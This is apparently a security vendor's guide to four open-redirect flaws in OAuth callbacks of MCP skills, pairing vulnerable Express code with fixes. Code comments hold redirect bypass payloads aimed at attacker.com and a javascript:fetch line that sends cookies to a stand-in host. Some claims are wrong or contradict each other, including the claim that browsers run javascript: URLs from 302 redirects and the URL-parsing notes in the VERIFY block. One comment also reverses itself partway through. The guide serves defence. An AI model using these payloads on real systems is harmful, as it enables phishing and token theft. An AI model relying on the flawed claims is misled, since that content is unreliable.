Claude skill open redirect security
MCP skills that implement OAuth flows, authentication callbacks, or any redirect-based navigation accept a destination URL as a parameter. Without validation, these redirect endpoints become open redirectors: an attacker can craft a URL like https://skillaudit.dev/oauth/callback?returnUrl=https://attacker.com that passes as a legitimate link to your domain but drops users on a phishing page after authentication. SA-SKL-REDIR covers four open redirect vulnerabilities that appear in MCP skill OAuth implementations, with particular attention to bypass techniques that evade naive allowlist checks.
Open redirects are frequently underestimated as low-severity findings, but in OAuth callback flows their impact is high: the redirect fires immediately after a user completes authentication on a trusted provider, at the moment when the user is most likely to trust the destination. The attacker’s page receives a fully authenticated session in the browser, any tokens that were placed in the redirect URL fragment or query string, and a user who believes they just completed a legitimate login. In MCP skill deployments, OAuth callback endpoints are almost always present — skills authenticate against external services (Google, GitHub, Slack, Salesforce) and implement the callback leg themselves. The four patterns in SA-SKL-REDIR cover the progression from no validation at all, through increasingly subtle bypass techniques that defeat common but insufficient checks.
SA-SKL-REDIR-001: res.redirect(args.returnUrl) without validation — unvalidated open redirect
The simplest and most common open redirect pattern in MCP skill OAuth implementations is passing a returnUrl value directly to res.redirect() after the OAuth code exchange completes. The returnUrl is typically encoded in the OAuth state parameter at initiation time so that the callback can return the user to the page they were on before the login flow. Because the state parameter is opaque to the OAuth provider, an attacker who controls the OAuth initiation URL can embed any destination they choose:
// VULNERABLE: returnUrl passed to res.redirect() without any validation
import express from 'express';
const app = express();
app.get('/oauth/callback', async (req, res) => {
const { code, state } = req.query as { code: string; state: string };
// Decode the state parameter that was set at OAuth initiation
const { returnUrl, sessionId } = JSON.parse(decodeURIComponent(state));
// Exchange authorization code for access token
const tokenResponse = await exchangeCodeForToken(code);
await storeToken(sessionId, tokenResponse.access_token);
// VULNERABLE: returnUrl is attacker-controlled via the state parameter
res.redirect(returnUrl);
});
// ATTACK: attacker crafts an OAuth initiation link
// Normal initiation encodes: state = { returnUrl: '/dashboard', sessionId: 'abc' }
// Attack initiation encodes: state = { returnUrl: 'https://attacker.com/steal?', sessionId: 'abc' }
//
// Attacker sends victim:
// https://skillaudit.dev/oauth/start?...&state=%7B%22returnUrl%22%3A%22https%3A%2F%2Fattacker.com%2Fsteal%3F%22%2C%22sessionId%22%3A%22abc%22%7D
//
// Victim clicks, authenticates on the legitimate OAuth provider (Google, GitHub, etc.)
// OAuth provider redirects to: https://skillaudit.dev/oauth/callback?code=AUTH_CODE&state=...
// Skill exchanges code for token, stores it, then:
// res.redirect('https://attacker.com/steal?')
// Victim is now on attacker's site — if the token appeared in the URL fragment (#access_token=...)
// or the attacker controls session cookies from this point, the session is compromised
// SECURE: allowlist of exact permitted return paths (relative paths only)
const ALLOWED_RETURNS = new Set(['/dashboard', '/settings', '/audits', '/billing']);
app.get('/oauth/callback', async (req, res) => {
const { code, state } = req.query as { code: string; state: string };
const { returnUrl, sessionId } = JSON.parse(decodeURIComponent(state));
const tokenResponse = await exchangeCodeForToken(code);
await storeToken(sessionId, tokenResponse.access_token);
// Only redirect to known safe relative paths; fall back to dashboard
const destination = ALLOWED_RETURNS.has(returnUrl) ? returnUrl : '/dashboard';
res.redirect(destination);
});
// ALTERNATIVE: sign the state parameter with HMAC so the returnUrl cannot be tampered with
import { createHmac, timingSafeEqual } from 'crypto';
function createSignedState(returnUrl: string, sessionId: string): string {
const payload = JSON.stringify({ returnUrl, sessionId });
const sig = createHmac('sha256', process.env.STATE_SECRET!).update(payload).digest('hex');
return encodeURIComponent(JSON.stringify({ payload, sig }));
}
function verifyAndParseState(state: string): { returnUrl: string; sessionId: string } {
const { payload, sig } = JSON.parse(decodeURIComponent(state));
const expectedSig = createHmac('sha256', process.env.STATE_SECRET!).update(payload).digest('hex');
const sigBuf = Buffer.from(sig, 'hex');
const expectedBuf = Buffer.from(expectedSig, 'hex');
if (sigBuf.length !== expectedBuf.length || !timingSafeEqual(sigBuf, expectedBuf)) {
throw new Error('State parameter signature invalid — possible tampering');
}
return JSON.parse(payload);
}
Encoding the returnUrl in the OAuth state parameter does not protect it from tampering: The state parameter is passed through the OAuth provider without modification and returned verbatim in the callback. Any URL that the attacker can get a user to click for the OAuth initiation (a phishing link, a link on the attacker’s site, an open redirect on another service) can carry an attacker-controlled state. The only protections are allowlisting the return destination before use, or signing the state parameter with an HMAC secret so that any modification of the returnUrl value is detected at the callback.
res.redirect(returnUrl) without validation in OAuth callback: attacker encodes arbitrary destination in OAuth state parameter; after legitimate authentication, user is redirected to attacker’s phishing page; authenticated session and any URL-embedded tokens are exposed. Fix: allowlist exact permitted return paths as a Set of relative paths; fall back to /dashboard on any non-allowlisted value; or HMAC-sign the state parameter at initiation time. Detection: res.redirect( with a variable sourced from state, query params, or request body without allowlist check → HIGH.SA-SKL-REDIR-002: Protocol-relative URL bypass — //attacker.com evades startsWith check
Once developers become aware of open redirect risks, the first fix that is commonly added is a prefix check: if (!returnUrl.startsWith('https://skillaudit.dev')). This check correctly rejects https://attacker.com but fails for two important bypass patterns. The first is the protocol-relative URL: a URL beginning with // is a valid URL that inherits its protocol from the page context. When passed to res.redirect() in Express, Node.js, or any HTTP framework, //attacker.com/steal resolves to the full URL https://attacker.com/steal in the browser. The second is the @ credential bypass: https://skillaudit.dev@attacker.com/ is a valid URL in which skillaudit.dev is the username and attacker.com is the actual host:
// VULNERABLE: prefix check that does not handle protocol-relative URLs or @ bypass
import express from 'express';
const app = express();
app.get('/oauth/callback', async (req, res) => {
const { code, state } = req.query as { code: string; state: string };
const { returnUrl } = JSON.parse(decodeURIComponent(state));
await exchangeCodeForToken(code);
// Naive prefix check — appears safe, but is bypassable
if (!returnUrl.startsWith('https://skillaudit.dev')) {
return res.redirect('/');
}
res.redirect(returnUrl);
});
// BYPASS 1: Protocol-relative URL
// returnUrl = '//attacker.com/steal'
// '//attacker.com/steal'.startsWith('https://skillaudit.dev') === false
// BUT: browsers and res.redirect() treat //attacker.com/steal as https://attacker.com/steal
// The startsWith check rejects this, BUT ONLY because // !== https://
// Developers sometimes "fix" by adding: startsWith('https://') || startsWith('//')
// This creates the bypass: //attacker.com/steal now passes!
// BYPASS 2: @ credential in URL
// returnUrl = 'https://skillaudit.dev@attacker.com/'
// 'https://skillaudit.dev@attacker.com/'.startsWith('https://skillaudit.dev') === true (BYPASSED)
// new URL('https://skillaudit.dev@attacker.com/').hostname === 'attacker.com'
// Browser navigates to attacker.com, not skillaudit.dev
// skillaudit.dev appears as the username in the URL — always ignored by servers
// BYPASS 3: Double startsWith "fix" that creates the protocol-relative bypass
// Code: if (!returnUrl.startsWith('https://skillaudit.dev') &&
// !returnUrl.startsWith('/'))
// returnUrl = '//attacker.com/steal'
// startsWith('//...') is NOT caught by startsWith('/') because // starts with /
// Wait — it IS caught because '//attacker.com'.startsWith('/') === true
// But: developer may check startsWith('/') intending only relative paths,
// and //attacker.com IS absolute — the check is semantically wrong
// SECURE: parse the URL and check hostname and protocol explicitly
function isSafeReturnUrl(returnUrl: string): boolean {
try {
// new URL(returnUrl, base) resolves protocol-relative and relative URLs
// against the base, then we can inspect the parsed hostname
const url = new URL(returnUrl, 'https://skillaudit.dev');
return url.protocol === 'https:' && url.hostname === 'skillaudit.dev';
} catch {
// new URL throws on truly malformed input — treat as unsafe
return false;
}
}
app.get('/oauth/callback', async (req, res) => {
const { code, state } = req.query as { code: string; state: string };
const { returnUrl } = JSON.parse(decodeURIComponent(state));
await exchangeCodeForToken(code);
if (!isSafeReturnUrl(returnUrl)) {
return res.redirect('/dashboard');
}
res.redirect(returnUrl);
});
// TEST CASES for isSafeReturnUrl:
// '/dashboard' → true (relative, resolved to https://skillaudit.dev/dashboard)
// 'https://skillaudit.dev/settings' → true
// '//attacker.com/steal' → false (hostname: attacker.com)
// 'https://skillaudit.dev@attacker.com/' → false (hostname: attacker.com)
// 'https://attacker.com' → false (hostname: attacker.com)
// 'javascript:alert(1)' → false (protocol: javascript:)
// 'http://skillaudit.dev/x' → false (protocol: http:, not https:)
The @ bypass is the most common reason that startsWith checks are exploited in practice: https://skillaudit.dev@attacker.com/ passes the most intuitive allowlist check (startsWith('https://skillaudit.dev')) while navigating the user to attacker.com. This bypass works because the URL authority component is userinfo@host, and the userinfo part is stripped before the HTTP request is sent. Any check that operates on the raw URL string rather than the parsed hostname property is vulnerable to this pattern. The new URL() parser correctly identifies the host as attacker.com in all cases.
//attacker.com) and @ credential bypass of startsWith('https://skillaudit.dev') check: naive string prefix check passes attacker-controlled URLs that resolve to external hosts; user redirected to phishing page after OAuth authentication. Fix: parse with new URL(returnUrl, 'https://skillaudit.dev') and assert url.protocol === 'https:' and url.hostname === 'skillaudit.dev'; never check the raw URL string with startsWith. Detection: startsWith('https:// check on a redirect destination without new URL() parsing → HIGH.SA-SKL-REDIR-003: Hostname prefix spoofing — startsWith bypass via skillaudit.dev.attacker.com
The startsWith bypass from REDIR-002 operates on the protocol portion of the URL. A separate but related bypass operates on the hostname portion itself. Even after a developer correctly checks that the URL starts with https://skillaudit.dev, the check passes for https://skillaudit.dev.attacker.com/steal because the string begins with the expected prefix. An attacker who registers the domain skillaudit.dev.attacker.com (a valid subdomain of attacker.com) controls a server that accepts this URL. A second variant uses URL percent-encoding to smuggle a slash: https://skillaudit.dev%2f.attacker.com/ passes as a string starting with the expected prefix while the browser decodes %2f to / and navigates to a path on attacker.com that begins with /skillaudit.dev/:
// VULNERABLE: prefix check that is bypassable via subdomain registration
import express from 'express';
const app = express();
app.get('/oauth/callback', async (req, res) => {
const { code, state } = req.query as { code: string; state: string };
const { returnUrl } = JSON.parse(decodeURIComponent(state));
await exchangeCodeForToken(code);
// Still using startsWith — now checking full scheme+host prefix
if (!returnUrl.startsWith('https://skillaudit.dev')) {
return res.redirect('/');
}
res.redirect(returnUrl);
});
// BYPASS 1: Subdomain prefix spoofing
// returnUrl = 'https://skillaudit.dev.attacker.com/steal'
// 'https://skillaudit.dev.attacker.com/steal'.startsWith('https://skillaudit.dev') === true
// new URL('https://skillaudit.dev.attacker.com/steal').hostname === 'skillaudit.dev.attacker.com'
// Attacker registers DNS: skillaudit.dev.attacker.com → attacker's server
// User is redirected to attacker's server
// BYPASS 2: URL-encoded slash in hostname
// returnUrl = 'https://skillaudit.dev%2f.attacker.com/'
// The raw string starts with 'https://skillaudit.dev' — check passes
// Browser decodes %2f → '/' before navigation:
// navigates to https://skillaudit.dev/.attacker.com/ (path traversal from skillaudit.dev)
// Or some URL parsers normalize differently — behavior is implementation-dependent
// Either way, the string-level check is not reliable
// BYPASS 3: Missing trailing slash after hostname
// returnUrl = 'https://skillaudit.devmyapp.com/steal'
// startsWith('https://skillaudit.dev') === true (no slash after .dev!)
// Attacker registers: skillaudit.devmyapp.com
// SECURE: parse with new URL() and check the exact hostname property
function isSafeReturnUrl(returnUrl: string): boolean {
try {
const url = new URL(returnUrl, 'https://skillaudit.dev');
// Exact match on hostname — no prefix tricks possible
return url.protocol === 'https:' && url.hostname === 'skillaudit.dev';
} catch {
return false;
}
}
// SECURE VARIANT: allow specific subdomains explicitly
const ALLOWED_HOSTNAMES = new Set([
'skillaudit.dev',
'app.skillaudit.dev',
'api.skillaudit.dev',
]);
function isSafeReturnUrlWithSubdomains(returnUrl: string): boolean {
try {
const url = new URL(returnUrl, 'https://skillaudit.dev');
if (url.protocol !== 'https:') return false;
// Exact Set lookup — no prefix matching
return ALLOWED_HOSTNAMES.has(url.hostname);
} catch {
return false;
}
}
// TEST CASES:
// 'https://skillaudit.dev/x' → true
// 'https://skillaudit.dev.attacker.com/' → false (hostname mismatch)
// 'https://skillaudit.devmyapp.com/' → false (hostname mismatch)
// 'https://skillaudit.dev%2f.attacker.com/' → new URL() normalizes; hostname check catches it
// 'https://app.skillaudit.dev/x' → false (isSafeReturnUrl) / true (WithSubdomains)
// STARTUP TEST: add to your skill's test suite
import assert from 'assert';
assert(!isSafeReturnUrl('https://skillaudit.dev.attacker.com/steal'), 'prefix spoof must be rejected');
assert(!isSafeReturnUrl('https://skillaudit.devmyapp.com/steal'), 'missing slash spoof must be rejected');
assert(isSafeReturnUrl('https://skillaudit.dev/dashboard'), 'valid URL must be accepted');
Always check the hostname property of the parsed URL, not the raw URL string: The URL specification defines the hostname as the authority component minus the port and userinfo. Any check performed on the raw URL string — startsWith, regular expressions, includes — is operating on a representation that can be manipulated by an attacker who controls the string. The new URL() parser normalizes percent-encoding, resolves protocol-relative references, and separates userinfo from the host before you inspect any component. The hostname property returned by a parsed URL object is the canonical host and cannot be spoofed by any of the patterns above.
skillaudit.dev.attacker.com or missing trailing slash (skillaudit.devmyapp.com): startsWith('https://skillaudit.dev') passes for attacker-registered subdomains that begin with the expected prefix; user redirected to attacker’s server after OAuth authentication. Fix: parse with new URL() and assert url.hostname === 'skillaudit.dev' (exact match); allowlist subdomains explicitly using a Set lookup. Detection: startsWith('https:// without subsequent url.hostname check → HIGH.SA-SKL-REDIR-004: JavaScript protocol injection — javascript: URL scheme bypass
The final open redirect pattern in SA-SKL-REDIR is not a redirect to an external URL but a JavaScript execution payload embedded in the URL scheme. When a browser navigates to a javascript: URL — either via window.location, an anchor click, or an HTTP redirect response — the browser executes the script in the current page’s security context. In MCP skill deployments, OAuth flows are often initiated in a popup window or an embedded iframe; if the callback response redirects to javascript:fetch('https://attacker.com?c='+document.cookie), the script runs in the context of the skill’s domain and can exfiltrate cookies, localStorage tokens, and DOM content. Multiple encoding variations bypass checks that only test the string value:
// VULNERABLE: protocol check that can be bypassed by encoding or case variation
import express from 'express';
const app = express();
app.get('/oauth/callback', async (req, res) => {
const { code, state } = req.query as { code: string; state: string };
const { returnUrl } = JSON.parse(decodeURIComponent(state));
await exchangeCodeForToken(code);
// Insufficient check: only tests https:// prefix on the raw string
if (!returnUrl.startsWith('https://')) {
return res.redirect('/');
}
res.redirect(returnUrl);
});
// BYPASS 1: Mixed case
// returnUrl = 'JaVaScRiPt:alert(document.cookie)'
// 'JaVaScRiPt:alert(1)'.startsWith('https://') === false — check rejects it
// BUT: some frameworks or middleware normalise before the check runs:
// e.g. body-parser URL-decodes, then the check runs on the decoded value
// If the check runs BEFORE decoding:
// returnUrl = 'j%61vascript:alert(1)' — 'j%61vascript:...'.startsWith('https://') === false
// After decoding: 'javascript:alert(1)' — script executes
// BYPASS 2: Double URL encoding
// returnUrl = 'j%2561vascript:alert(1)'
// First decode: 'j%61vascript:alert(1)' — still not javascript:, check passes
// Second decode (browser or redirect chain): 'javascript:alert(1)' — executes
// BYPASS 3: Tab/newline injection before protocol
// returnUrl = '\tjavascript:alert(1)' (tab + javascript:)
// Some URL parsers strip leading whitespace from protocol values
// '\tjavascript:...'.startsWith('https://') === false, BUT browser treats as javascript:
// Same pattern with \r, \n, \x0b (vertical tab), \x0c (form feed)
// BYPASS 4: Check runs before state decoding
// state = '%7B%22returnUrl%22%3A%22javascript%3Aalert(1)%22%7D'
// Developer decodes state AFTER the check: check sees URL-encoded string, passes
// Then decodes: returnUrl = 'javascript:alert(1)' — res.redirect() sends it
// IN A BROWSER CONTEXT (OAuth popup, embedded skill UI):
// HTTP 302 Location: javascript:fetch('https://atk.com?c='+document.cookie)
// Firefox, Chrome: execute the javascript: URL in the context of the redirecting page
// Result: session cookies and localStorage tokens for skillaudit.dev exfiltrated
// SECURE: use new URL() parsing — it normalises protocol before you inspect it
function isSafeReturnUrl(returnUrl: string): boolean {
try {
// new URL() normalises the protocol to lowercase and strips whitespace
// 'JaVaScRiPt:alert(1)' → protocol: 'javascript:' — rejected
// 'j%61vascript:alert(1)' → URL is treated as a relative URL against the base
// because 'j%61vascript:' is not a registered scheme — resolved safely
const url = new URL(returnUrl, 'https://skillaudit.dev');
return url.protocol === 'https:' && url.hostname === 'skillaudit.dev';
} catch {
return false;
}
}
// ADDITIONAL HARDENING: strip whitespace and control characters before parsing
function sanitizeReturnUrl(raw: string): string | null {
// Remove all ASCII control characters (0x00–0x1f) including \t \r \n
const stripped = raw.replace(/[\x00-\x1f]/g, '');
if (!isSafeReturnUrl(stripped)) return null;
return stripped;
}
app.get('/oauth/callback', async (req, res) => {
const { code, state } = req.query as { code: string; state: string };
// Decode state FIRST, then validate
const { returnUrl } = JSON.parse(decodeURIComponent(state));
const safeUrl = sanitizeReturnUrl(returnUrl);
await exchangeCodeForToken(code);
if (!safeUrl) {
return res.redirect('/dashboard');
}
res.redirect(safeUrl);
});
// VERIFY: new URL() behavior with javascript: scheme
// new URL('javascript:alert(1)')
// → { protocol: 'javascript:', href: 'javascript:alert(1)' }
// → isSafeReturnUrl returns false (protocol !== 'https:')
//
// new URL('javascript:alert(1)', 'https://skillaudit.dev')
// → throws TypeError: Failed to construct 'URL': Invalid URL
// → isSafeReturnUrl catches the exception, returns false
//
// new URL('JaVaScRiPt:alert(1)')
// → { protocol: 'javascript:', ... } (normalised to lowercase)
// → isSafeReturnUrl returns false
Validate the return URL after all decoding steps, using the parsed protocol property: The critical ordering rule is: decode first, parse with new URL(), then inspect the protocol property. Any check that runs on the raw or partially-decoded URL string can be bypassed through encoding variations. The new URL() constructor normalises percent-encoding, lowercases the scheme, and strips leading whitespace from the protocol component before you inspect it, making url.protocol === 'https:' the only reliable check for the protocol. As a defence-in-depth measure, also strip ASCII control characters (\t, \r, \n) from the input before passing to new URL(), as some older URL parsers are lenient about whitespace in the scheme position.
javascript: URL scheme injection via mixed-case (JaVaScRiPt:), percent-encoded (j%61vascript:), double-encoded, or control-character-prefixed variants: script executes in the skill domain’s browser context (OAuth popup or embedded UI), enabling cookie and token exfiltration. Fix: decode the full URL first; parse with new URL(); assert url.protocol === 'https:' on the normalised parsed value; strip ASCII control characters before parsing. Detection: redirect destination validated with startsWith('https://') on a raw or partially-decoded string without new URL() parsing → HIGH.Remediation summary
| Finding | Severity | Fix |
|---|---|---|
REDIR-001: res.redirect(returnUrl) without validation | HIGH | Allowlist exact permitted return paths in a Set of relative paths; fall back to /dashboard; or HMAC-sign the OAuth state parameter at initiation to prevent tampering |
REDIR-002: Protocol-relative (//attacker.com) and @ credential bypass | HIGH | Parse with new URL(returnUrl, base); assert url.protocol === 'https:' and url.hostname === 'skillaudit.dev'; never use startsWith on the raw URL string |
REDIR-003: Hostname prefix spoofing via skillaudit.dev.attacker.com | HIGH | Exact url.hostname === 'skillaudit.dev' check on the parsed URL; allowlist subdomains explicitly using a Set lookup; never use prefix matching on the hostname |
REDIR-004: javascript: protocol via encoding bypass | HIGH | Decode input fully before validation; parse with new URL(); assert url.protocol === 'https:' on the normalised protocol property; strip ASCII control characters before parsing |
SkillAudit detects all four SA-SKL-REDIR-001 through REDIR-004 patterns through static analysis of skill source code and OAuth callback implementations: unvalidated res.redirect() calls sourced from request parameters, startsWith checks on raw redirect URLs, missing new URL() parsing before redirect decisions, and javascript: protocol handling gaps. For related security patterns see SA-SKL-SESS session management security, SA-SKL-LOG logging security, and SA-SKL-ERR error handling security. See the complete SA-SKL attack surface reference for the full vulnerability taxonomy.
Scan your Claude skill for open redirect vulnerabilities
SkillAudit detects unvalidated returnUrl redirects, protocol-relative and @ credential bypasses, hostname prefix spoofing, and javascript: protocol injection across the full SA-SKL-REDIR family in 60 seconds.
Get your free audit